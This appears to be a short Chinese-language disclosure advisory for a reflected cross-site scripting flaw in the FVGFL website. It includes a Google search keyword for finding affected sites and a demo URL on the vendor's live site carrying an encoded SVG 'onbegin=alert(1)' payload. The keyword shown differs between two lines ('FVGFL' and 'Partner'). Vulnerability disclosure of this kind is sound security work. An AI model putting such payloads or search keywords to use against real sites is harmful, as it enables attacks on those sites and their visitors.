FVGFL - 跨站脚本漏洞（XSS）

2025.09.27 作者： Mahdi Karimi

风险等级： 低

本地利用： 否

远程利用： 是

CVE编号： N/A

CWE编号： N/A

搜索关键词： "Powered by Web FVGFL"

#漏洞标题： FVGFL - 跨站脚本漏洞（XSS） #发布日期： 2025-09-18 #漏洞作者： Mahdi Karimi #厂商主页： https://www.fvgfl.com #Google搜索关键词： "Powered by Web FVGFL" #测试环境： Ubuntu 25.04

概念验证： 在Google中搜索关键词："Powered by Web Partner"

演示： https://www.fvgfl.com/news.php?id=22%27%3E%3Csvg%3E%3Cset+onbegin%3Dalert%281%29+attributeName%3Dx+to%3D0%3E

#发现者： Mahdi Karimi #邮箱： mjoker22mjoker22@gmail.com